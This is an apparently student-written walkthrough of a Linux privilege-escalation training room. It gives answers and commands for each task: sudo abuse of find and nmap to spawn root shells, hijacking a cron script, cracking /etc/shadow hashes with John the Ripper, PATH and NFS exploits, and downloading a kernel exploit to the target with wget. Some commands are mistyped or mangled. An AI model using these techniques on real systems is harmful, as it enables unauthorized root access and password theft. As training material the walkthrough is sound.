Linux Privilege Escalation
Linux Privilege Escalation
Question:
No answer needed
Why is it important?
• Resetting passwords
• Bypassing access controls to compromise protected data
• Editing software configurations
• Enabling persistence
• Changing the privilege of existing (or new) users
• Execute any administrative command
Question:
no answer needed.
Task 3 (Enumeration)
Questions:
Solution No2
Solution No3
• when you in a system and you only see $ in terminal you can use this
trick
bash -i
• This commad gives us a interactive shell and we can see the username
and hostname of the target machine
Answer: wade7363
Solution No1
Answer: 3.13.0–24-generic
Solution No1
Solution No2
• The Linux version is located in the issue file in the etc folder. If we
read the issue file using the cat command, we can find out the Linux
version of this machine.
cat /etc/issue
Solution
• If we want to know python or any other program or tools version we
simple use — version option in linux
<commad or program> --version
python --version
Answer: 2.7.6
Solution
searchsploit 3.13.0
Answer: CVE-2015–1328
Question:
Install and try a few automated enumeration tools on your local Linux
distribution
no answer needed.
Solution
searchsploit -m <payload name> #Mirror (aka copies) an exploit to the current working
director
• now we need to send this payload to the target machine to do this we
use python server and wget commad
pyhton3 -m http.server <port is optional> #when you don't know ports server start default
port 8000
wget http://10.8.95.15:8080/37292.c
no answer needed.
Solution
• in default user stored in /home folder in linux ,Then we can read the
content of the flag1.txt file using the cat command.
note: when you get root or get shell it is difficult to use the shell this Trick is
for you, use export commad to change shell environment
export TERM=xterm
1. How many programs can the user “karen” run on the target
system with sudo rights?
Solution
• In this task, we need to use the sudo -l command to find out how
many programs the user karen can run on the target system.
sudo -l #this commad shows files that same user run as root with sudo commad
Answer: 3
Solution No1
!/bin/bash
Solution No2
• In this task we see other commads that have permission to use as root
one of them is find commad
sudo find . exec /bin/sh \; -quit
• To Find flag2.txt location we again use find commad
find / -name flag2.txt 2>/dev/null
3.How would you use Nmap to spawn a root shell if your user had
sudo rights on nmap?
Solution
• In this task, We go our favorite site gtfobins again and search nmap
commads sudo usage
• Here we Have 2 options but we go with the easy one
sudo nmap --interactive
nmap> !sh
Solution
Solution
• We need to look at the passwd file to see the users. We can read the
passwd file in the etc directory using the cat command
cat /etc/passwd
Solution
Solution
• After finding it, we will read it using the base64 command, as in the
previous task.
/usr/bin/base64 /home/ubuntu/flag3.txt | /usr/bin/base64 -d
Solution No1 :
• Let’s see how to become root using capabilities. First, let’s use the
command getcap -r / 2>/dev/null to see what has capabilites
permissions.
getcap -r / 2>/dev/null
Solution No2
no answer needed.
Solution
Answer: 6
Solution :
• We can see that two binaries have capabilities, view and vim.
Answer: view
Solution
• To Find flag4.txt we will use find commad like our previous task
find / -name flag4.txt 2>/dev/null
1. How many user-defined cron jobs can you see on the target
system?
Solution
• We need to read the crontab file in the etc folder with the cat
command.
cat /etc/cronjob
Answer: 4
Solution
• For Our firs method we use backup.sh file to gain root for this we use
SIUD permission. We need to be root to read the flag5.txt file. We
see that we have a sh file that is automatically run every minute. To
become root, we just need to change the contents of the backup.sh
file using the nano backup.sh command.
nano banckup.sh
after we edit the backup.sh file we give all permission with chmod commad
after that just simple use /bin/bash -p commad to gain root
chmod 777 backup.sh
/bin/bash -p
solution
we copy matt’s passwd and shadow files in our Host machine and in the
previous task we use unshadow commad and use the JohnTheRipper to
crack the password
grep matt /etc/shadow
john --wordlist=/usr/share/wordlists/rockyou.txt
Task 10 ( Privilege Escalation:
PATH)
Questions :
solution :
Answer: /home/murdoch
Solution
export $PATH=/tmp:$PATH
cd /home/murdoch
./test
no answer needed.
Solution
• We use Find commad to locate flag6.txt’s location and use cat commad
to read it’s content
find / -name flag6.txt 2>/dev/null
Solution :
Answer: 3
Solution
• Here we need to read the export file in the etc folder using the cat
command.
cat /etc/exports
Answer: 3
Solution
#Target Machine
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
• Now we first compile this code by typing gcc -static nfs.c -o nfs.
No answer needed
Solution :
no answer needed.
Solution :
• Then we create passwd and shadow files in the tmp folder on our
machine. We copy the password and shadow files from the victim’s
machine there. We then create a hash file from them using the
unshadow command.
unshadow passdw shadow | tee hash
Solution :
• We see that we can use the find command! Now let’s go to gtfobins
and see how we can become root using the find command.
cat flag2.txt